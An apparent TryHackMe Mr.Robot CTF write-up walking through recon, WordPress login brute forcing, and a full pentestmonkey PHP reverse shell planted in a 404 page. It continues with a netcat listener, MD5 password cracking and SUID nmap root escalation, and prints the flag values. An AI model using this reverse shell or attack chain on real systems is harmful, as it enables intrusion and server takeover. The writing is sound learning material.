Mr.Robot CTF Writeup on TryHackMe

Before all

This was a fun one and I learned a lot.
But I don’t like such a big dictionary file which would cause a long term brute forcing ……

Victim IP : 10.10.187.227
My IP : 10.4.46.164

Write Up

Start Up

Download my ovpn file and connect with it~(Which I can merely do on hackerbox….)
sudo openvpn williamlin254.ovpn

Recon

Port Scanning

nmap

nmap -sC -sV -PN 10.10.187.227

Results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-10 04:02 EST
Nmap scan report for 10.10.187.227
Host is up (0.40s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.30 seconds

Nothing special because it’s already knowned theres a http service and ssh is closed.

Path Searching

dirsearch

dirsearch -u http://10.10.187.227

Interesting Paths:

1
2
3
/admin
/robots.txt
/wp-login

So first check out robots.txt, there are two files:

1
2
3
User-agent: *
fsocity.dic
key-1-of-3.txt

fsocity.dic is a dictionary that is used to brute forcing,and key-1-of-3.txt is the first flag~~~

Web Exploiting

Brute Foring

Next, checkout the path wp-login, after a few tries on it, notice that it would return whether your user input is right, so I brute forced on that:

WFUZZ

wfuzz -u "http://10.10.225.248/wp-login.php" -d " log=FUZZ&pwd=a" --hs "Invalid username" -w fsocity.dic
image
The username is Elliot, how about the password?
After an hour, there’s still no results…….(after trying about 30000 passwords), so I checked out online and found out that the password is the 858851th of the dictionary file…….
Anyway, my attack would still work.
By the way, the password is the user id of Elliot account on twitter :)
Twitter:ER28-0652

PHP Reverse Shell

After logged in, just replace the 404 page into a PHP Reverse Shell.
my source from github-pentestmonkey

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.4.46.164'; // CHANGE THIS
$port = 5123; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}

if ($pid) {
exit(0); // Parent exits
}

// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}

$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}

// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}

// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}

// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}

// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}

// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}

?>

Open http://10.10.187.227/rahlin(or anything lead to a 404 code :> ) and port 5123 on my computer:
sudo nc -nlvp 5123

Privilege Escalation

After connected, first confirm which permission I have…
whoami
results:
daemon
well…the lowest one :D
Changing directory to home:
cd home/robot
ls
Results:

1
2
key-2-of-3.txt
password.raw-md5

Reading files:
cat password.raw-md5
Results:
robot:c3fcd3d76192e4007dfb496cca67e13b
Which leaks a weak password abcdefghijklmnopqrstuvwxyz
Changing Permission with su:

1
2
$ su robot
su: must be run from a terminal

well… I was stucked by here.

Python Escalation

1
python -c 'import pty;pty.spawn("/bin/bash")'

This would stabilize is to a terminal.

1
2
3
$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz

Searching for Escalation Breakpoints

There’s no LinPEAS to use QQ.
Find usable commands/files.
find / -perm -u=s -type f 2>/dev/null
results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown

nmap would be a good choice.

NMAP Escalation

Finding srcipt on GTFOBins.
Escalation Script:

1
2
nmap --interactive
nmap> !sh

FLAG 2:

1
2
3
# cat key-2-of-3.txt
cat key-2-of-3.txt
822c73956184f694993bede3eb39f959

FLAG 3:

1
2
3
4
# cd /root 
# cat key-3-of-3.txt
cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4

WELL DONE!!!

After all

This made my day, but it would be even better if there’s no need of a huge password bruteforcing(Can be replaced with a OSINT?)
Good Night World~